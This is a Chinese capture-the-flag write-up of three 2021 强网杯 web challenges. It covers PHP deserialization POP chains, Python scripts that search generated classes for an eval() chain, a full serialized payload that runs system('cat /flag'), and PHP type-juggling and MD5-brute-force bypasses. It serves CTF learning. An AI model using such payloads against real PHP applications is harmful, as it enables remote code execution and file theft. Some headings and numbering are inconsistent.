2021 强网杯
[强网先锋]赌徒
获取源码
首先是提示我们需要获取源码,扫描目录发现有www.zip
,下载即可获得原码。
源码:
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
一看就是一道PHP反序列化的题目。
构造POP链
首先从unserialize()
函数开始看,寻找哪里有可以利用的魔法方法,发现Start类下有__wakeup()
魔法方法,这个魔法方法又调用了_sayhello()
这个方法,再这个方法里面通过echo
将$name
这个属性输出,既然是将属性输出,那么就可以利Info类里面的__toString()
魔法方法,然后这个方法又返回一个不存在的属性,这样我们可以利用Room类里面的_get()
魔法方法,_get()
方法又返回一个别的方法,那么我们可以让其返回一个类,就可以利用到__invoke()
这个魔法方法,这个魔法方法会调用Get_hint()
方法,并返回flag的值。
poc:
<?php
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
}
$s = new Start();
$i = new Info();
$r = new Room();
$s->name = $i;
$i->file['filename'] = $r;
$r->a = $r;
echo urlencode(serialize($s));
pop_master
源码:
<?php
include "class.php";
//class.php.txt
highlight_file(__FILE__);
$a = $_GET['pop'];
$b = $_GET['argv'];
$class = unserialize($a);
$class->GZXLOm($b);
提示class.php.txt中有东西。
访问之后是后台文件,有16万行的各个类,看来是构造POP链进行反序列化利用。
我们可以看到有些类的方法利用用到了eval()
函数,这意味着我们可以利用之,现在的目标就是找到一条能够利用达到用了eval()
函数方法的POP链。
构造POP链
- 首先仔细观察类的规律,得知类的名字都是6个字符,类里面的属性都是7个字符,方式都是6个字符,方法传入的参数都是5个字符。
- 同时还注意到一些了类里面有一些简单的
if()
函数来控制属性的值,这里我们需要先把if()
函数执行之后的属性值拿到。 - 之后就是在每一个类中找到含有
eval()
函数的方法,并从给定的出发函数中开始构造POP链。
EXP:(oatmael师傅的脚本)
import re
classPop = []
funcPop = []
array = []
def deleteIfAndFor(f):
text = f.read()
s = re.findall("(if\((\d+)>(\d+)\){([\w\W]+?)})", text)
for i in s:
if int(i[1]) < int(i[2]):
text = text.replace(i[0], "")
else:
text = text.replace(i[0], i[3].strip())
s = re.findall("(for\(\$i = 0; \$i < (\d+); \$i \+\+\){([\w\W]+?)})", text)
for i in s:
if int(i[1]) == 0:
text = text.replace(i[0], "")
else:
text = text.replace(i[0], i[2].strip())
with open("result.txt", "w") as g:
g.write(text)
def search(key):
# func 入栈
funcPop.append(key)
for i in array:
if i.find("function " + key) != -1:
# class入栈
classPop.append(re.findall(r'class\s([a-zA-Z0-9_]{6})', i)[0])
tmp = fr'public\sfunction\s{key}' + '\(\$[a-zA-Z0-9]{5}\)\{[\w\W]*?\}\n'
# 提取调用方法
func = re.findall(tmp, i)
# 进行过滤,如果传入的参数被顶掉,直接返回
tmp2 = fr'public\sfunction\s{key}' + '\(\$([a-zA-Z0-9]{5})\)\{[\w\W]*?\}\n'
e = re.findall(tmp2, i)
tmp3 = fr'{e[0]}\s*?=\s*?'
if (re.findall(tmp3, func[0]).__len__() > 0) and (func[0].find(".") == -1):
classPop.pop()
return
# 检测是否存在eval,如果存在则打印classPop
if func[0].find('eval') != -1:
# print(classPop)
print(funcPop)
# 提取调用链
nextFunc = re.findall(r'\$this->[a-zA-Z0-9]{7}->([a-zA-Z0-9]{6})\(\$[a-zA-Z0-9]{5}\);', func[0])
# 遍历所有func
for j in nextFunc:
search(j)
# func 出栈
funcPop.pop()
# class 出栈
classPop.pop()
if __name__ == "__main__":
# f = open("./class.php", "r+")
# deleteIfAndFor(f)
# f.close()
f = open("./result.txt", "r+")
content = f.read()
array = re.findall(r'class\s[a-zA-Z0-9_]+{[\w\W]*?}\n\n', content)
search("GZXLOm")
这样就能够获得一条能够调用eval()
函数的POP链的方法数组。
接着再将这些方法所属于的类进行构造称为POP链,并进行序列化:(这里是小雷师傅的脚本)
import re
#这里改成上面导出来的result.txt
f = open(r"./result.txt", "r+")
content = f.read()
array = re.findall(r'class\s[a-zA-Z0-9_]+{[\w\W]*?}\n\n', content)
f.close()
# 这里是选取的function链,上面跑出来的
arr = ['GZXLOm', 'XgxngX', 'oBSzQX', 'HV0yLo', 'vnCfog', 'VG9sLZ', 'PXox1p', 'BohTge', 'K41WPn', 'HMPYt1', 'RoZmMh', 'uVNELd', 'SSGB2G', 'hGWimh', 'OOMm2z', 'P24KLA', 'aX3lf6', 'sRu1cT', 'XYSgHH', 'BlKGxg', 'EgozKx', 'cycF90', 'ZUw4Em', 'CQ0TlH']
clas= []
publi = []
for i in arr:
for z in array:
if z.find("function " + i) != -1:
classname = re.findall(r'class\s([a-zA-Z0-9_]{6})', z)[0]
publicname = re.findall(r'public \$([a-zA-Z0-9_]{7})', z)[0]
clas.append(classname)
publi.append(publicname)
a = "$"+classname.lower()+" = new "+classname+"();\n\n"
#将生成的反序列化代码写入文件
with open(r"./result2.txt", "a") as g:
g.write(z)
g.write(a)
length = len(clas)
for i in range(length-1):
str = "$"+clas[i].lower()+"->"+publi[i]+" = "+"$"+clas[i+1].lower()+";\n"
with open(r"./result2.txt", "a") as g:
g.write(str)
with open(r"./result2.txt", "a") as g:
g.write("echo serialize($"+clas[0].lower()+");")
这样就生成了一个PHP的POP链,运行即可得到payload:
?pop=O:6:%22afgVOa%22:1:{s:7:%22pFv4P6h%22;O:6:%22Ql5VmF%22:1:{s:7:%22g8HOk9V%22;O:6:%22chA5Fn%22:1:{s:7:%22otwpbVo%22;O:6:%22gAkFiw%22:1:{s:7:%22oRHFPYa%22;O:6:%22MFN4wU%22:1:{s:7:%22G4xtIs3%22;O:6:%22QD7fbn%22:1:{s:7:%22X9UgDw8%22;O:6:%22kc5GIb%22:1:{s:7:%22FwgzMqO%22;O:6:%22g60e4M%22:1:{s:7:%22ugCuicB%22;O:6:%22HGoUu9%22:1:{s:7:%22zQGCNvP%22;O:6:%22p6Wdh7%22:1:{s:7:%22hihMXZ1%22;O:6:%22mCC2yX%22:1:{s:7:%22pRAW6dl%22;O:6:%22HmwgRZ%22:1:{s:7:%22yeev0Hv%22;O:6:%22Ml6WaF%22:1:{s:7:%22zSU70PG%22;O:6:%22GtXVZL%22:1:{s:7:%22CIZSEWY%22;O:6:%22KvMRXs%22:1:{s:7:%22x4UfFk4%22;O:6:%22LZB7hm%22:1:{s:7:%22YaCexVd%22;O:6:%22AUEgxl%22:1:{s:7:%22ilVVD9n%22;O:6:%22Wt7dZY%22:1:{s:7:%22iLrZPeh%22;O:6:%22Mu9nQY%22:1:{s:7:%22qTI9WOZ%22;O:6:%22OmBhdU%22:1:{s:7:%22HBdH9cw%22;O:6:%22g2HnFD%22:1:{s:7:%22lg3meeT%22;O:6:%22PqCdYo%22:1:{s:7:%22kKD77Lt%22;O:6:%22Go6Y2S%22:1:{s:7:%22oIGlyA9%22;O:6:%22NiglI6%22:1:{s:7:%22SGHKNuY%22;N;}}}}}}}}}}}}}}}}}}}}}}}}&argv=system(%27cat%20/flag%27);//
值得一提的是由于我们输入在
eval()
函数里面的参数有可能会在后面拼接上别的字符,因此这里要使用;//
进行注释掉。
[强网先锋]赌徒
这一题有2个key,也就是说要解2道小题。
key1
源码:
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
function filter($string){
$filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
$filter_phrase= '/'.implode('|',$filter_word).'/';
return preg_replace($filter_phrase,'',$string);
}
if($ppp){
unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';
extract($_POST);
$num1 = filter($ppp['number1']);
$num2 = filter($ppp['number2']);
$num3 = filter($ppp['number3']);
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);
if(isset($num1) && is_numeric($num1)){
die("非数字");
}
else{
if($num1 > 1024){
echo "第一层";
if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
echo "第二层";
if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
echo "第三层";
if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
echo "第四层";
if(!isset($num5)||(strlen($num5)==0)) die("no");
$b=json_decode(@$num5);
if($y = $b === NULL){
if($y === true){
echo "第五层";
include 'KeY1lhv.php';
echo $KEY1;
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no111");
}
}
非数字
这一题是考PHP特性,
科学计数法绕过
首先看第一层,考的是用科学计数法绕过,这了需要一个长度不大于4且数值+1之后大于500000的数,那么用2e25
绕过即可。
md5爆破
第二层是需要我们进行md5爆破出前7个是指定字符的数,写个简单的脚本即可。
import hashlib
a = 1
while a < 999999999:
md5 = hashlib.md5((str(a)).encode()).hexdigest()
if "4b***cd" == md5[:7]:
print(a)
break
a += 1
科学计数法绕过弱类型比较
第三层需要我们传一个又要不小于0,又要大于0,又小于等于0,而且长度还大于6的数字,这里就又需要用到科学计数法。
$a = 0e00001;
var_dump(!($a<0)); //bool(true)
var_dump($a == 0); //bool(true)
var_dump($a <= 0); //bool(true)
json_decode()函数特性
json_decode()
函数是用于对json格式的字符进行解码的一个函数,当我们给他传入一个格式不对的字符时,它就会返回NULL
$bad_json = "{ 'bar': 'baz' }";
json_decode($bad_json); // null
同时,比较运算符比赋值运算符的优先度要高,因此会先进行比较运算返回true
,再赋值给$y
。
key2
key2是一个有很多文件的压缩包,既然题目是寻宝,那么就是在这堆垃圾里面寻找key,写个脚本找即可。